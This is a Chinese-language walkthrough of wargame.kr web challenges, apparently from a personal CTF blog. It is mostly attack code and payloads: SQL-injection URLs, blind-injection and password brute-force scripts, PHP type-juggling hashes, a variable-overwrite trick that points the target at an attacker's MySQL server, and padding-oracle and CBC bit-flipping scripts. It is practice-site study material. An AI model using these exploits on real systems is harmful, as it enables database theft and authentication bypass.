adm1nkyj 链接: http://wargame.kr:8080/adm1nkyj/ 这题id和pw参数存在注入,关键在于不知道表的列名,如何绕过得到其中的pw和flag数据?
1 2 3 4 if (preg_match("/information|schema|user/i" , $id ) || substr_count($id ,"(" ) > 1 ) exit ("no hack" );if (preg_match("/information|schema|user/i" , $pw ) || substr_count($pw ,"(" ) > 1 ) exit ("no hack" );mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';" )
上面就是关键防护代码。查了许久,得到一个精妙的答案。用sql语句的子查询,完成了攻击:
1 http://wargame.kr:8080/adm1nkyj/?id=' union all select 1 ,b,3 ,4 ,5 from (select 1 ,2 ,3 as b,4 ,5 union all select * from findflag_2 limit 1 ,1 ) as x
可以顺利注入得到id,pw,flag三个字段的准确值,最后得到flag。学习到了子查询的用法。
counting_query 链接: http://wargame.kr:8080/counting_query 报错注入:
1 id=59.172 .176 .132 &pw=12345 &type=2 union all select 1 ,2 ,3 ,4 ,5 from login_count where 1 =(updatexml(1 ,concat(0x5e24 ,(select database() limit 1 ),0x5e24 ),1 ))
由于是存在临时表的:
1 create temporary table t_user as select * from all_user_accounts where user_id='$id' "
经过测试,无法在一条sql语句中使用两次t_user临时表。接下来就不知道如何做下去了~~
dbms335 链接: http://wargame.kr:8080/dmbs335/
1 parse_str($_SERVER ['QUERY_STRING' ]); // 变量覆盖漏洞
覆盖 $query_parts 即可注入。
htpasswd_crack 链接: http://wargame.kr:8080/crack\_crack\_crack_it/ 爆破一下linux下的密码,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import sys import crypt, getpass, pwd prefix = "G4HeulB" chars = "abcdefghijklmnopqrstuvwxyz0123456789" reslut = "blueh4g:$1 $AIAjvuTS $Xm0KzXkKsxx4vDC6BXcCg1 " def crack(deep,pw): if deep == 0: return; for c in chars: crack(deep-1,pw + c) passwd = prefix + pw + c print passwd crypted = crypt.crypt(passwd, '$1$AIAjvuTS$' ) print crypted if crypted == "$1 $AIAjvuTS $Xm0KzXkKsxx4vDC6BXcCg1 " : print "success" exit() if __name__ == '__main__' : crack(4,"" )
由于不知道后面有几位数字,写了个递归进行爆破,感觉不错~~
ip-log-table 链接: http://wargame.kr:8080/ip\_log\_table/ 这是一个盲注题目,注入点在:
1 http:// wargame.kr:8080 /ip_log_table/ chk.php idx参数
简单写个脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import requests from requests.auth import HTTPBasicAuthimport sys session = requests.Session() def test(input): idx = "15096 and " + input #username = "username=admi'|if(1,'n','777')|'" post_data = {'idx' :idx} #print post_data headers = {"Accept-Encoding" : "gzip, deflate" , "Accept-Language" : "en-US,en;q=0.5" , "User-Agent" : "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" , "Connection" : "keep-alive" } response = session.post("http://wargame.kr:8080/ip_log_table/chk.php" , headers =headers, data =post_data) #print response.text #bs = BeautifulSoup(response.text.replace("</br />" ,"" )) #form_section = bs.findAll('div' , {"class" : "alert alert-danger" }) #Error message #t = form_section[0] return ("2016-06-21 18:56:15" in response.text) def brute_force_expr(expr): ch_i =1 ascii_i =40 #( word = "" while True : found_char =False while (ascii_i<160): #~ res = test("ascii(substring((" +expr+")," +str(ch_i)+",1))=" +str(ascii_i)) if (res): word += chr(ascii_i) print "Found (" ,ch_i,") " ,chr(ascii_i)," - " ,word found_char = True break ascii_i+=1 if (not found_char): print "No char at index " ,ch_i," .. ending string construction.." break ascii_i = 1 ch_i+=1 return word print brute_force_expr(sys.argv[1]) #Replacement fix the spaces problem!
jff3_magic 链接: http://wargame.kr:8080/jff3_magic/ 这题还是挺有意思的。
脚本为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import urllibimport urllib2import binasciiimport requestsurl = "http://wargame.kr:8080/jff3_magic/?no=" str_list = "abcdefghijklmnopqrstuvwxyz0123456789" pw = "" def send_payload (payload) : global url resp = requests.get(url + payload) return resp.text for i in range(32 ): for ch in str_list: payload = "-1||pw like " +str(bin(int(binascii.hexlify(pw + ch + "%" ),16 ))) if "admin" in send_payload(payload): print "[+] True" pw += ch print pw break ; print pw
直接查询0e531247968804642688052356464312
破解不出来,但是找到php magic
。
1 2 115528287 0 e495317064156922585933029613272var_dump('0e49531706415692 25859330296132 72'=='0e53124796880464 26880523564643 12'); bool(true)
详情参考: https://www.whitehatsec.com/blog/magic-hashes/
login_filtering 链接: http://wargame.kr:8080/login_filtering
XDCTF2014有这道题目:https://www.leavesongs.com/PENETRATION/Mini-XCTF-Writeup.html 写代码fuzz:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php /* create table user( idx int auto_increment primary key, id char(32), ps char(32) ); */ mysql_connect("localhost" ,"root" ,"" ); mysql_select_db ("test" ); mysql_query("set names utf8" ); //$id = mysql_real_escape_string(trim($_POST ['id' ])); $ps = "blueh4g1234ps" ; for ($i = 0 ; $i < 256 ; $i ++){ $c = chr($i ); $id = "blueh4g" .$c ; $row =mysql_fetch_array(mysql_query("select * from user where id='$id ' and ps=md5('$ps ')" )); if (isset($row ['id' ])) { if ($id =='blueh4g' ) { //echo "your account is blocked" ; } else { echo $i . $c . ":" . $id . "<br />" ; echo "login ok" ."<br />" ; echo "Password : " .$key ; } } else { //echo "wrong.." ; } } ?>
得到许多结果,其中一个:
后来发现,由于Mysql是不区分大小写的,所以可以用大写直接绕过~~
login-with-crypto 链接: http://wargame.kr:8080/login\_with\_crypto_but/ 关键在于绕过这里:
1 2 3 4 5 6 7 8 9 10 11 function get_password ($user,$ssn) { db_conn(); $user = mysql_real_escape_string($user); $ssn = mysql_real_escape_string($ssn); $result = mysql_query("select user_ps from accounts where user_id='{$user}' and encrypt_ss='" .sucker_enc($ssn)."'" ); $row = mysql_fetch_array($result); if ($row === false ) { die ("there is not valid account!" ); } return $row[0 ]; }
输入超长字符串让mysql_query执行结果出错,返回false。
然后mysql_fetch_array($result);会同样会出错,提示:
<b>Warning</b>: mysql_fetch_array() expects parameter 1 to be resource, boolean given in <b>/home/www/login_with_crypto_but/index.php</b> on line <b>53</b><br />
因此,这里的$row就是NULL
了,可以绕过$row === false。 这题又让我学到了新知识:超长字符串~
1 2 3 4 5 6 7 import requests url = "http://wargame.kr:8080/login_with_crypto_but/index.php" post_data = {"user" :"admin" ,"pass" :"" ,"ssn" :"A" *70000} resp = requests.post(url,post_data) print resp.text
lonely_guys 链接: http://wargame.kr:8080/lonely_guys/ order by
后面的盲注,同样的盲注脚本,关键如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def test (input ): sort_rule = ",if(" + input + ",name,reg_date)" #根据结果决定排序方法 #username = "username=admi'|if(1,'n','777')|'" post_data = {'sort ':sort_rule} #print post_data headers = {"Accept-Encoding" : "gzip, deflate" , "Accept-Language" : "en-US,en;q=0.5" , "User-Agent" : "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" , "Connection" : "keep-alive" } response = session.post ("http://wargame.kr:8080/lonely_guys/index.php" , headers=headers,data=post_data) #print response.text #bs = BeautifulSoup(response.text.replace ("</br />" ,"" )) #form_section = bs .findAll('div', {"class" : "alert alert-danger" }) #Error message #t = form_section[0] return ("<tr><td>michael</td><td>couple</td></tr><tr><td>min-su</td><td>couple</td></tr>" in response.text)
md5_compare 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php var_dump(md5('240610708' ) == md5('QNKCDZO' )); var_dump(md5('aabg7XSs' ) == md5('aabC9RqS' )); var_dump(sha1('aaroZmOk' ) == sha1('aaK1STfY' )); var_dump(sha1('aaO8zKZF' ) == sha1('aa3OFF9m' )); var_dump('0010e2' == '1e3' ); var_dump('0x1234Ab' == '1193131' ); var_dump('0xABCdef' == ' 0xABCdef' ); 以上结果都为:bool (true ) http://zone .wooyun.org/content/20172
md5_password md5($ps,true) 有时会产生单引号。
1 2 3 4 5 http://dc406.com/home/393-sql-injection-with -raw -md5 -hashes.html 输入文中fuzz的结果: 129581926211651571912466741651878684928 hello admin ! Password : 96756 acef13354c76bca3f9c331b82b00a983be6
mini_TBR 这个题目很经典。由一个变量覆盖漏洞,可以覆盖mysql数据库的ip,用户名和密码配置。在0ctf_2015上也有一道这样的题目。
有变量覆盖漏洞; 覆盖db的设置,使其访问云主机数据库即可~~
建立一个管理员账户,使主机上的mysql可以远程登录:
1 2 3 4 5 6 mysql> CREATE USER 'monty' @'localhost' IDENTIFIED BY 'some_pass' ; mysql> GRANT ALL PRIVILEGES ON *.* TO 'monty' @'localhost' -> WITH GRANT OPTION ; mysql> CREATE USER 'monty' @'%' IDENTIFIED BY 'some_pass' ; mysql> GRANT ALL PRIVILEGES ON *.* TO 'monty' @'%' -> WITH GRANT OPTION ;
建立一个题目要求的数据库和内容即可。
index.php中变量覆盖漏洞:
1 if (!ini_get("register_globals" )) extract ($_GET);
function.php中获得flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function get_layout ($layout, $pos) { $result = mysql_query("select path from _BH_layout where layout_name='$layout' and position='$pos'" ); $row = mysql_fetch_array($result); $allow_list = ["./book_store_skin/head.html" , "./book_store_skin/foot.html" , "./reverted/h.htm" , "./reverted/f.htm" ]; if (isset ($row['path' ])){ if ($row['path' ] == "hacked" ) { var_dump("success" ); include ("../lib.php" ); die (auth_code("mini TBR" )); } if (in_array($row['path' ], $allow_list)) { return $row['path' ]; } } if ($pos == 'head' ){ return "./reverted/h.htm" ; } return "./reverted/f.htm" ; }
- 访问获得flag 访问mysql云主机得到flag:
1 http://wargame.kr:8080/mini_TBR/?_ BHVAR[db ][host ]=***&_BHVAR[db][user]=** *&_BHVAR[db][pass]=* **&_BHVAR[db][name]=mini_ tbr&_BHVAR[path_ module]=./modules/
php-or-c 链接: http://wargame.kr:8080/php_c/ 整数溢出问题。本地可以测试下:
1 2 ./p7 2147483645 -2147483646
32位int整数,最大值为2^31-1=2147483647
。 加5就溢出,产生负数了。 Payload:
1 d1=2147483643 &d2=-2147483648
pw_crack 链接: http://wargame.kr:8080/pw_crack/ 基于时间的编程题,这题还是要拼人品的。flag过段时间就会变~~ 需要一个客户端发送请求,然后一个端口接收来自服务器的连接,并发送password。根据请求时间判断flag对不对。(类似于基于时间的盲注) req.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import socket import commands import requests import time HOST = 'yourhost' PORT = yourport chars = "abcdef0123456789" session = requests.Session() loginUrl = "http://wargame.kr/user/login_action" post_data = {'email' :'***' ,'password' :'***' } #登录 resp1 = session.post(loginUrl,data =post_data) print resp1.textdef req(tt,i): global session url = "http://wargame.kr:8080/pw_crack/check.php" try: resp = session.get (url,timeout =tt) if (i == 39) and ("congratulation" in resp.text): return True except Exception,e: return True return False def con(pwd): s= socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((HOST,PORT)) s.sendall("setdata" + pwd) #送给自己主机的端口,告诉他发送什么密码 s.close() def go(): global session pw = "" for i in range(40): for ch in chars: print str(i) + ch con(pw + ch) time.sleep(0.1) if req((i+2)*2 ,i): pw = pw + ch print str(i) + ":" + pw if i == 39: authUrl = "http://wargame.kr/challenge/auth/18" flag_data = {'flag' :pw} resp = session.post(authUrl,data =flag_data) print flag_data print resp.text break if __name__ == '__main__' : go()
sock.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import socket import commands HOST = '0.0.0.0' PORT = youtport def con(): s= socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.bind((HOST,PORT)) s.listen(1) pw_ret = "" while True : conn,addr =s.accept() print'Connected by' ,addr data =conn.recv(1024) print "recv data:" + data if data.startswith("setdata" ): pw_ret = data[7:] print "set pw_ret:" + pw_ret else : print "send pw:" + pw_ret conn.sendall(pw_ret + chr(0)) conn.close() if __name__ == "__main__" : con()
写个shell去启动两个脚本:
1 2 nohup python -u sock.py >sock.py.out 2 >&1 & nohup python -u req.py >req.py.out 2 >&1 &
python -u
让python不启用缓冲,才能让日志信息实时输出。
strcmp 链接: http://wargame.kr:8080/strcmp/ 用数组绕过strcmp比较函数。
1 2 3 4 5 6 7 password[]=12 strcmp("foo" , array ()) => NULL + PHP Warning strcmp("foo" , new stdClass) => NULL + PHP Warning strcmp(function () {}, "" ) => NULL + PHP Warning NULL == 0 返回是true 。
dun-worry-about-the-vase 链接: http://wargame.kr:8080/dun\_worry\_about\_the\_vase/
CBC翻转 padding Oracle
漏洞,具体看《白帽子讲web安全》加密解密章节,这里只是使用CBC翻转攻击实现。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import base64 iv = base64.b64decode("cWmnN3EEveo=" ) plain = "guest" + "\x03\x03\x03" cipher = base64.b64decode("Ong/jFLSexo=" ) intermediary_value = "" dest_plain = "admin" + "\x03\x03\x03" dest_iv = "" for i in range(8): intermediary_value = intermediary_value + chr(ord(plain[i]) ^ ord(iv[i])) for i in range(8): dest_iv = dest_iv + chr(ord(dest_plain[i]) ^ ord(intermediary_value[i])) print base64.b64encode(dest_iv) dest_iv_method_2 = "" for i in range(8): dest_iv_method_2 = dest_iv_method_2 + chr(ord(dest_plain[i]) ^ ord(plain[i]) ^ ord(iv[i])) print base64.b64encode(dest_iv_method_2)
Padding Oracle 更新一下这个解法~ 最近遇到了,发现很重要~ 原理大概是:改变iv,如果解密错误(padding值不对),会有padding error
的报错。这是一种边信道攻击手法。 关键:
算出immediate_value
。
有错误时,需要把返回内容打出来进行判断。例如,这道题目:遇到了invalid iv
这种错误,是我没有url编码cookie导致的,以至于没有正确算出immediate_value
。
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 # -*- coding: utf-8 -*- __author__ = 'angelwhu' import base64 import requests import urllib iv = base64 .b64decode("IDCq+/MbRP0=" ) # iv length is 8 cipher = base64 .b64decode("EzDYjiFgH1Q=" ) # cipher length is 8 block_size = 8 immediate_value = [ -1 for i in range (block_size)] session = requests.session() session.cookies['ci_session']='******' immediate_value = [-1 , -1 , 207 , 136 , 135 , 24 , 71 , 254 ] #出错后,重新开始开始。 ajust_round = 6 #出错后,从新的round 开始,初始为0 ajust_tempiv = 0 #出错后,设置新的处理tempiv。原来是0 如果立即数在0 -8 之间,会误认为是padding而出错。 for round in range (ajust_round,block_size): temp_iv ="" for j in range (block_size-round ,block_size): temp_iv = temp_iv + chr(immediate_value[j]^(round +1 )) res = -1 for i in range (0xff ): #temp = chr(0 )*(block_size-1 -round ) + chr(i) + temp_iv temp = chr(ajust_tempiv)*(block_size-1 -round ) + chr(i) + temp_iv #print temp session.cookies['L0g1n'] = urllib.quote(base64 .b64encode(temp)+base64 .b64encode(cipher)) print i response = session.get ('http://wargame.kr:8080 /dun_worry_about_the_vase/main.php') #print session.cookies if 'padding error ' in response.text: #print "666" #print response.text None else : res = i print i print "666" break if res == -1 : #print session.cookies print round print immediate_value print "dddderrrrrrrrrrrrrrrrrrr" exit() else : #print session.cookies print response.text print res immediate_value[block_size-1 -round ] = res ^ (1 +round ) print immediate_value immediate_value = [71 , 69 , 207 , 136 , 135 , 24 , 71 , 254 ] plain = "" for i in range (block_size): plain = plain + chr(ord(iv[i])^immediate_value[i]) print plaintarget_plain = "admin" + "\x03" *3 target_iv = "" for i in range (block_size): target_iv = target_iv + chr(ord(target_plain[i])^immediate_value[i]) print base64 .b64encode(target_iv)
总结 wargame里面题目大多不难,能学到许多知识。选取部分,记录一下~ 做题目,最重要的是长长知识吧